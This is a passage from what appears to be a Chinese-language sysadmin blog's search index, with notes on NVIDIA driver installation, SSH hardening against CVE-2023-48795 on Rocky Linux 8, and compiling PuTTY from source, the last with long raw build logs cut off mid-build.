libnvidia-egl-wayland1 libnvidia-eglcore libnvidia-encode1 libnvidia-glcore libnvidia-glvkspirv libnvidia-ml1 libnvidia-pkcs11-openssl3 libnvidia-ptxjitcompiler1 libnvidia-rtcore linux-headers-amd64 nvidia-alternative nvidia-driver nvidia-driver-bin nvidia-driver-libs nvidia-egl-common nvidia-egl-icd nvidia-installer-cleanup nvidia-kernel-common nvidia-kernel-dkms nvidia-kernel-support nvidia-legacy-check nvidia-modprobe nvidia-persistenced nvidia-settings nvidia-support nvidia-suspend-common nvidia-vdpau-driver nvidia-vulkan-common nvidia-vulkan-icd update-glx xserver-xorg-video-nvidia ","date":"June 11, 2024","externalUrl":null,"permalink":"/worknot/update-nvidia-470-dirver/","section":"Worknots","summary":"Linux 安裝 NVidia 驅動程式\n環境 # OS: Debian 11 GPU: Nvidia 410 建議開機: boot 執行步驟 # 檢查 GPU 型號 1 lspci -nn | egrep -i \"3d|display|vga\" 1 2 00:02.0 VGA compatible controller [0300]: Intel Corporation HD Graphics 630 [8086:591b] (rev 04) 01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GP106M [GeForce GTX 1060 Mobile] [10de:1c20] (rev a1) 安裝 linux-headers 及必要套件 Debian 1 2 sudo apt install linux-image-$(uname -r)-dbg linux-image-$(uname -r) linux-headers-$(uname -r) sudo apt -y install build-essential libglvnd-dev pkg-config gcc g++ make 移除不必要套件 下載最新 Nvidia driver 到以下網址下載最新的驅動程式\n","title":"Update Nvidia 470 Dirver","type":"worknot"},{"content":"","date":"June 6, 2024","externalUrl":null,"permalink":"/tags/cve-2023-48795/","section":"Tags","summary":"","title":"CVE-2023-48795","type":"tags"},{"content":"修補 CVE-2023-48795 方式\n系統環境 # OS: Rocky Linux 8 檢測方式 # 使用有風險的加密方式登入，無法登入則驗證通過\n1 ssh -oCiphers=chacha20-poly1305@openssh.com,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc pollochang@192.168.122.81 出現下列訊息算完成修補\n1 Unable to negotiate with 192.168.122.81 port 22: no matching cipher found. Their offer: aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr 修補方式 # 更新文件: /etc/sysconfig/sshd 將 #CRYPTO_POLICY= 取消註解，結果如下\n1 CRYPTO_POLICY= 更新文件: /etc/ssh/sshd_config 新增限制加密演算法\n1 2 3 4 5 KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256 Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com 檢查設定正確 1 sudo sshd -t 重啟 sshd 服務 1 sudo systemctl restart sshd 參考資料 # How to disable vulnerable ciphers and encryption modes in Rocky Linux 8 to mitigate Terrapin Attack (CVE-2023-48795) ","date":"June 6, 2024","externalUrl":null,"permalink":"/worknot/fix-cve-2023-48795/","section":"Worknots","summary":"修補 CVE-2023-48795 方式\n系統環境 # OS: Rocky Linux 8 檢測方式 # 使用有風險的加密方式登入，無法登入則驗證通過\n","title":"修補 CVE-2023-48795","type":"worknot"},{"content":"","date":"June 5, 2024","externalUrl":null,"permalink":"/tags/putty/","section":"Tags","summary":"","title":"Putty","type":"tags"},{"content":" 編譯安裝 # 下載 putty 1 2 3 wget https://the.earth.li/~sgtatham/putty/latest/putty-0.83.tar.gz tar -zxf putty-0.83.tar.gz cd putty-0.83 建立 catch 1 cmake . 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 ❯ cmake . -- The C compiler identification is GNU 12.2.0 -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: /usr/bin/cc - skipped -- Detecting C compile features -- Detecting C compile features - done -- Found Git: /usr/bin/git (found version \u0026#34;2.39.2\u0026#34;) -- Looking for sys/auxv.h -- Looking for sys/auxv.h - found -- Looking for asm/hwcap.h -- Looking for asm/hwcap.h - not found -- Looking for sys/sysctl.h -- Looking for sys/sysctl.h - not found -- Looking for sys/types.h -- Looking for sys/types.h - found -- Looking for glob.h -- Looking for glob.h - found -- Looking for utmp.h -- Looking for utmp.h - found -- Looking for utmpx.h -- Looking for utmpx.h - found -- Looking for futimes -- Looking for futimes - found -- Looking for getaddrinfo -- Looking for getaddrinfo - found -- Looking for posix_openpt -- Looking for posix_openpt - found -- Looking for ptsname -- Looking for ptsname - found -- Looking for setresuid -- Looking for setresuid - found -- Looking for setresgid -- Looking for setresgid - found -- Looking for strsignal -- Looking for strsignal - found -- Looking for updwtmpx -- Looking for updwtmpx - found -- Looking for fstatat -- Looking for fstatat - found -- Looking for dirfd -- Looking for dirfd - found -- Looking for setpwent -- Looking for setpwent - found -- Looking for endpwent -- Looking for endpwent - found -- Looking for getauxval -- Looking for getauxval - found -- Looking for elf_aux_info -- Looking for elf_aux_info - not found -- Looking for sysctlbyname -- Looking for sysctlbyname - not found -- Looking for CLOCK_MONOTONIC -- Looking for CLOCK_MONOTONIC - found -- Looking for clock_gettime -- Looking for clock_gettime - found -- Performing Test HAVE_SO_PEERCRED -- Performing Test HAVE_SO_PEERCRED - Success -- Performing Test HAVE_NULLARY_SETPGRP -- Performing Test HAVE_NULLARY_SETPGRP - Success -- Performing Test HAVE_BINARY_SETPGRP -- Performing Test HAVE_BINARY_SETPGRP - Failed -- Found PkgConfig: /usr/bin/pkg-config (found version \u0026#34;1.8.1\u0026#34;) -- Checking for module \u0026#39;gtk+-3.0\u0026#39; -- Package \u0026#39;gtk+-3.0\u0026#39;, required by \u0026#39;virtual:world\u0026#39;, not found -- Checking for module \u0026#39;gtk+-2.0\u0026#39; -- Package \u0026#39;gtk+-2.0\u0026#39;, required by \u0026#39;virtual:world\u0026#39;, not found -- Checking for GTK1 (via gtk-config) -- Looking for pow in m -- Looking for pow in m - found -- Looking for clock_gettime in rt -- Looking for clock_gettime in rt - found -- Looking for socket in xnet -- Looking for socket in xnet - not found -- Looking for dlopen in dl -- Looking for dlopen in dl - found -- Performing Test HAVE_ALIGNED_ALLOC -- Performing Test HAVE_ALIGNED_ALLOC - Success -- Found Perl: /usr/bin/perl (found version \u0026#34;5.36.0\u0026#34;) -- Performing Test HAVE_WMMINTRIN_H -- Performing Test HAVE_WMMINTRIN_H - Success -- Performing Test HAVE_AES_NI -- Performing Test HAVE_AES_NI - Success -- Performing Test HAVE_SHAINTRIN_H -- Performing Test HAVE_SHAINTRIN_H - Success -- Performing Test HAVE_SHA_NI -- Performing Test HAVE_SHA_NI - Success -- Performing Test HAVE_CLMUL -- Performing Test HAVE_CLMUL - Success -- Performing Test HAVE_ARM_NEON_H -- Performing Test HAVE_ARM_NEON_H - Failed -- Performing Test HAVE_ARM64_NEON_H -- Performing Test HAVE_ARM64_NEON_H - Failed -- Configuring done -- Generating done -- Build files have been written to: /home/testaccount/Downloads/putty-0.81 編譯 及 安裝 1 sudo cmake --build . --target install 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 ❯ sudo cmake --build . --target install [ 0%] Checking current git commit [ 0%] Built target check_git_commit [ 0%] Updating cmake_commit.c [ 0%] Built target cmake_commit_c [ 0%] Building C object CMakeFiles/utils.dir/CMakeFiles/cmake_commit.c.o [ 0%] Building C object CMakeFiles/utils.dir/utils/antispoof.c.o [ 1%] Building C object CMakeFiles/utils.dir/utils/backend_socket_log.c.o [ 1%] Building C object CMakeFiles/utils.dir/utils/base64_decode_atom.c.o [ 1%] Building C object CMakeFiles/utils.dir/utils/base64_decode.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/base64_encode_atom.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/base64_encode.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/base64_valid.c.o [ 2%] Building C object CMakeFiles/utils.dir/utils/bufchain.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/buildinfo.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/burnstr.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/cert-expr.c.o [ 3%] Building C object CMakeFiles/utils.dir/utils/chomp.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/cmdline_get_passwd_input_state_new.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/conf.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/conf_dest.c.o [ 4%] Building C object CMakeFiles/utils.dir/utils/conf_launchable.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/ctrlparse.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/ctrlset_normalise.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/debug.c.o [ 5%] Building C object CMakeFiles/utils.dir/utils/decode_utf8.c.o [ 6%] Building C object CMakeFiles/utils.dir/utils/decode_utf8_to_wchar.c.o [ 6%] Building C object CMakeFiles/utils.dir/utils/default_description.c.o [ 6%] Building C object CMakeFiles/utils.dir/utils/dupcat.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dupprintf.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dupstr.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dup_mb_to_wc.c.o [ 7%] Building C object CMakeFiles/utils.dir/utils/dup_wc_to_mb.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/encode_utf8.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/encode_wide_string_as_utf8.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/fgetline.c.o [ 8%] Building C object CMakeFiles/utils.dir/utils/host_ca_new_free.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strchr.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strchr_internal.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strcspn.c.o [ 9%] Building C object CMakeFiles/utils.dir/utils/host_strduptrim.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/host_strrchr.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/key_components.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/log_proxy_stderr.c.o [ 10%] Building C object CMakeFiles/utils.dir/utils/make_spr_sw_abort_static.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/marshal.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/memory.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/memxor.c.o [ 11%] Building C object CMakeFiles/utils.dir/utils/nullstrcmp.c.o [ 12%] Building C object CMakeFiles/utils.dir/utils/out_of_memory.c.o [ 12%] Building C object CMakeFiles/utils.dir/utils/parse_blocksize.c.o [ 12%] Building C object CMakeFiles/utils.dir/utils/percent_decode.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/percent_encode.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/prompts.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/ptrlen.c.o [ 13%] Building C object CMakeFiles/utils.dir/utils/read_file_into.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/seat_connection_fatal.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/seat_dialog_text.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/sessprep.c.o [ 14%] Building C object CMakeFiles/utils.dir/utils/sk_free_peer_info.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/smemclr.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/smemeq.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/spr_get_error_message.c.o [ 15%] Building C object CMakeFiles/utils.dir/utils/ssh_key_clone.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/ssh2_pick_fingerprint.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/sshutils.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/strbuf.c.o [ 16%] Building C object CMakeFiles/utils.dir/utils/string_length_for_printf.c.o [ 17%] Building C object CMakeFiles/utils.dir/utils/stripctrl.c.o [ 17%] Building C object CMakeFiles/utils.dir/utils/tempseat.c.o [ 17%] Building C object CMakeFiles/utils.dir/utils/tree234.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/validate_manual_hostkey.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/version.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/wcwidth.c.o [ 18%] Building C object CMakeFiles/utils.dir/utils/wildcard.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/wordwrap.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/write_c_string_literal.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/x11authfile.c.o [ 19%] Building C object CMakeFiles/utils.dir/utils/x11authnames.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_dehexify.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_identify_auth_proto.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_make_greeting.c.o [ 20%] Building C object CMakeFiles/utils.dir/utils/x11_parse_ip.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-lp.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-cipher.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-key.c.o [ 21%] Building C object CMakeFiles/utils.dir/stubs/null-mac.c.o [ 22%] Building C object CMakeFiles/utils.dir/stubs/null-opener.c.o [ 22%] Building C object CMakeFiles/utils.dir/stubs/null-plug.c.o [ 22%] Building C object CMakeFiles/utils.dir/stubs/null-seat.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/arm_arch_queries.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/block_signal.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/cloexec.c.o [ 23%] Building C object CMakeFiles/utils.dir/unix/utils/dputs.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/filename.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/fontspec.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/getticks.c.o [ 24%] Building C object CMakeFiles/utils.dir/unix/utils/get_username.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/keysym_to_unicode.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/make_dir_and_check_ours.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/make_dir_path.c.o [ 25%] Building C object CMakeFiles/utils.dir/unix/utils/make_spr_sw_abort_errno.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/nonblock.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/open_for_write_would_lose_data.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/pgp_fingerprints.c.o [ 26%] Building C object CMakeFiles/utils.dir/unix/utils/pollwrap.c.o [ 27%] Building C object CMakeFiles/utils.dir/unix/utils/signal.c.o [ 27%] Building C object CMakeFiles/utils.dir/unix/utils/x11_ignore_error.c.o [ 27%] Building C object CMakeFiles/utils.dir/utils/ltime.c.o [ 28%] Linking C static library libutils.a [ 28%] Built target utils [ 28%] Building C object CMakeFiles/logging.dir/logging.c.o [ 28%] Built target logging [ 29%] Building C object CMakeFiles/eventloop.dir/callback.c.o [ 29%] Building C object CMakeFiles/eventloop.dir/timing.c.o [ 29%] Building C object CMakeFiles/eventloop.dir/unix/cliloop.c.o [ 29%] Building C object CMakeFiles/eventloop.dir/unix/uxsel.c.o [ 30%] Linking C static library libeventloop.a [ 30%] Built target eventloop [ 30%] Building C object CMakeFiles/console.dir/clicons.c.o [ 31%] Building C object CMakeFiles/console.dir/console.c.o [ 31%] Building C object CMakeFiles/console.dir/unix/console.c.o [ 31%] Linking C static library libconsole.a [ 31%] Built target console [ 31%] Building C object CMakeFiles/settings.dir/cmdline.c.o [ 31%] Building C object CMakeFiles/settings.dir/settings.c.o [ 32%] Building C object CMakeFiles/settings.dir/unix/storage.c.o [ 32%] Linking C static library libsettings.a [ 32%] Built target settings [ 32%] Building C object crypto/CMakeFiles/object_lib_HAVE_CLMUL.dir/aesgcm-clmul.c.o [ 32%] Built target object_lib_HAVE_CLMUL [ 32%] Building C object crypto/CMakeFiles/object_lib_HAVE_AES_NI.dir/aes-ni.c.o [ 32%] Built target object_lib_HAVE_AES_NI [ 32%] Building C object crypto/CMakeFiles/object_lib_HAVE_SHA_NI.dir/sha256-ni.c.o [ 33%] Building C object crypto/CMakeFiles/object_lib_HAVE_SHA_NI.dir/sha1-ni.c.o [ 33%] Built target object_lib_HAVE_SHA_NI [ 33%] Building C object CMakeFiles/crypto.dir/proxy/cproxy.c.o [ 34%] Building C object CMakeFiles/crypto.dir/proxy/sshproxy.c.o [ 34%] Building C object CMakeFiles/crypto.dir/crypto/aes-common.c.o [ 34%] Building C object CMakeFiles/crypto.dir/crypto/aes-select.c.o [ 34%] Building C object CMakeFiles/crypto.dir/crypto/aes-sw.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-common.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-select.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-sw.c.o [ 35%] Building C object CMakeFiles/crypto.dir/crypto/aesgcm-ref-poly.c.o [ 36%] Building C object CMakeFiles/crypto.dir/crypto/arcfour.c.o [ 36%] Building C object CMakeFiles/crypto.dir/crypto/argon2.c.o [ 36%] Building C object CMakeFiles/crypto.dir/crypto/bcrypt.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/blake2.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/blowfish.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/chacha20-poly1305.c.o [ 37%] Building C object CMakeFiles/crypto.dir/crypto/crc32.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/des.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/diffie-hellman.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/dsa.c.o [ 38%] Building C object CMakeFiles/crypto.dir/crypto/ecc-arithmetic.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/ecc-ssh.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/hash_simple.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/hmac.c.o [ 39%] Building C object CMakeFiles/crypto.dir/crypto/mac.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/mac_simple.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/md5.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/mpint.c.o [ 40%] Building C object CMakeFiles/crypto.dir/crypto/ntru.c.o [ 41%] Building C object CMakeFiles/crypto.dir/crypto/openssh-certs.c.o [ 41%] Building C object CMakeFiles/crypto.dir/crypto/prng.c.o [ 41%] Building C object CMakeFiles/crypto.dir/crypto/pubkey-pem.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/pubkey-ppk.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/pubkey-ssh1.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/rfc6979.c.o [ 42%] Building C object CMakeFiles/crypto.dir/crypto/rsa.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha256-common.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha256-select.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha256-sw.c.o [ 43%] Building C object CMakeFiles/crypto.dir/crypto/sha512-common.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha512-select.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha512-sw.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha3.c.o [ 44%] Building C object CMakeFiles/crypto.dir/crypto/sha1-common.c.o [ 45%] Building C object CMakeFiles/crypto.dir/crypto/sha1-select.c.o [ 45%] Building C object CMakeFiles/crypto.dir/crypto/sha1-sw.c.o [ 45%] Building C object CMakeFiles/crypto.dir/crypto/xdmauth.c.o [ 45%] Linking C static library libcrypto.a [ 45%] Built target crypto [ 46%] Building C object CMakeFiles/network.dir/errsock.c.o [ 46%] Building C object CMakeFiles/network.dir/logging.c.o [ 46%] Building C object CMakeFiles/network.dir/x11disp.c.o [ 46%] Building C object CMakeFiles/network.dir/proxy/proxy.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/http.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/socks4.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/socks5.c.o [ 47%] Building C object CMakeFiles/network.dir/proxy/telnet.c.o [ 48%] Building C object CMakeFiles/network.dir/proxy/local.c.o [ 48%] Building C object CMakeFiles/network.dir/proxy/interactor.c.o [ 48%] Building C object CMakeFiles/network.dir/unix/network.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/fd-socket.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/agent-socket.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/peerinfo.c.o [ 49%] Building C object CMakeFiles/network.dir/unix/local-proxy.c.o [ 50%] Building C object CMakeFiles/network.dir/unix/x11.c.o [ 50%] Linking C static library libnetwork.a [ 50%] Built target network [ 50%] Building C object CMakeFiles/keygen.dir/import.c.o [ 51%] Building C object CMakeFiles/keygen.dir/keygen/dsa.c.o [ 51%] Building C object CMakeFiles/keygen.dir/keygen/ecdsa.c.o [ 51%] Building C object CMakeFiles/keygen.dir/keygen/millerrabin.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/mpunsafe.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/pockle.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/prime.c.o [ 52%] Building C object CMakeFiles/keygen.dir/keygen/primecandidate.c.o [ 53%] Building C object CMakeFiles/keygen.dir/keygen/rsa.c.o [ 53%] Building C object CMakeFiles/keygen.dir/keygen/smallprimes.c.o [ 53%] Linking C static library libkeygen.a [ 53%] Built target keygen [ 53%] Building C object CMakeFiles/agent.dir/sshpubk.c.o [ 53%] Building C object CMakeFiles/agent.dir/pageant.c.o [ 53%] Building C object CMakeFiles/agent.dir/aqsync.c.o [ 54%] Building C object CMakeFiles/agent.dir/unix/agent-client.c.o [ 54%] Linking C static library libagent.a [ 54%] Built target agent [ 54%] Building C object CMakeFiles/guiterminal.dir/terminal/terminal.c.o [ 54%] Building C object CMakeFiles/guiterminal.dir/terminal/bidi.c.o [ 54%] Building C object CMakeFiles/guiterminal.dir/ldisc.c.o [ 55%] Building C object CMakeFiles/guiterminal.dir/config.c.o [ 55%] Building C object CMakeFiles/guiterminal.dir/dialog.c.o [ 55%] Linking C static library libguiterminal.a [ 55%] Built target guiterminal [ 55%] Building C object CMakeFiles/noterminal.dir/stubs/no-term.c.o [ 55%] Building C object CMakeFiles/noterminal.dir/ldisc.c.o [ 56%] Linking C static library libnoterminal.a [ 56%] Built target noterminal [ 56%] Building C object CMakeFiles/all-backends.dir/pinger.c.o [ 56%] Built target all-backends [ 56%] Building C object ssh/CMakeFiles/sftpcommon.dir/sftpcommon.c.o [ 56%] Built target sftpcommon [ 56%] Building C object CMakeFiles/sftpclient.dir/psftpcommon.c.o [ 57%] Building C object CMakeFiles/sftpclient.dir/ssh/sftp.c.o [ 57%] Building C object CMakeFiles/sftpclient.dir/unix/sftp.c.o [ 57%] Linking C static library libsftpclient.a [ 57%] Built target sftpclient [ 57%] Building C object CMakeFiles/otherbackends.dir/otherbackends/raw.c.o [ 58%] Building C object CMakeFiles/otherbackends.dir/otherbackends/rlogin.c.o [ 58%] Building C object CMakeFiles/otherbackends.dir/otherbackends/supdup.c.o [ 58%] Building C object CMakeFiles/otherbackends.dir/otherbackends/telnet.c.o [ 59%] Building C object CMakeFiles/otherbackends.dir/otherbackends/testback.c.o [ 59%] Building C object CMakeFiles/otherbackends.dir/unix/serial.c.o [ 59%] Linking C static library libotherbackends.a [ 59%] Built target otherbackends [ 59%] Building C object CMakeFiles/testcrypt.dir/test/testcrypt.c.o [ 59%] Building C object CMakeFiles/testcrypt.dir/sshpubk.c.o [ 60%] Building C object CMakeFiles/testcrypt.dir/ssh/crc-attack-detector.c.o [ 60%] Linking C executable testcrypt [ 60%] Built target testcrypt [ 60%] Building C object CMakeFiles/test_host_strfoo.dir/utils/host_strchr_internal.c.o [ 61%] Linking C executable test_host_strfoo [ 61%] Built target test_host_strfoo [ 61%] Building C object CMakeFiles/test_decode_utf8.dir/utils/decode_utf8.c.o [ 61%] Linking C executable test_decode_utf8 [ 61%] Built target test_decode_utf8 [ 61%] Building C object CMakeFiles/test_tree234.dir/utils/tree234.c.o [ 61%] Linking C executable test_tree234 [ 61%] Built target test_tree234 [ 61%] Building C object CMakeFiles/test_wildcard.dir/utils/wildcard.c.o [ 62%] Linking C executable test_wildcard [ 62%] Built target test_wildcard [ 62%] Building C object CMakeFiles/test_cert_expr.dir/utils/cert-expr.c.o [ 63%] Linking C executable test_cert_expr [ 63%] Built target test_cert_expr [ 63%] Building C object CMakeFiles/bidi_gettype.dir/terminal/bidi_gettype.c.o [ 64%] Linking C executable bidi_gettype [ 64%] Built target bidi_gettype [ 64%] Building C object CMakeFiles/bidi_test.dir/terminal/bidi_test.c.o [ 64%] Linking C executable bidi_test [ 64%] Built target bidi_test [ 65%] Building C object ssh/CMakeFiles/sshcommon.dir/bpp1.c.o [ 65%] Building C object ssh/CMakeFiles/sshcommon.dir/bpp2.c.o [ 65%] Building C object ssh/CMakeFiles/sshcommon.dir/bpp-bare.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/ca-config.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/censor1.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/censor2.c.o [ 66%] Building C object ssh/CMakeFiles/sshcommon.dir/common.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/connection1.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/connection2.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/crc-attack-detector.c.o [ 67%] Building C object ssh/CMakeFiles/sshcommon.dir/gssc.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/login1.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/pgssapi.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/portfwd.c.o [ 68%] Building C object ssh/CMakeFiles/sshcommon.dir/__/sshpubk.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/__/sshrand.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/transient-hostkey-cache.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/transport2.c.o [ 69%] Building C object ssh/CMakeFiles/sshcommon.dir/verstring.c.o [ 70%] Building C object ssh/CMakeFiles/sshcommon.dir/x11fwd.c.o [ 70%] Building C object ssh/CMakeFiles/sshcommon.dir/zlib.c.o [ 70%] Building C object ssh/CMakeFiles/sshcommon.dir/__/unix/noise.c.o [ 70%] Built target sshcommon [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/agentf.c.o [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/connection1-client.c.o [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/connection2-client.c.o [ 71%] Building C object ssh/CMakeFiles/sshclient.dir/kex2-client.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/mainchan.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/sharing.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/ssh.c.o [ 72%] Building C object ssh/CMakeFiles/sshclient.dir/userauth2-client.c.o [ 73%] Building C object 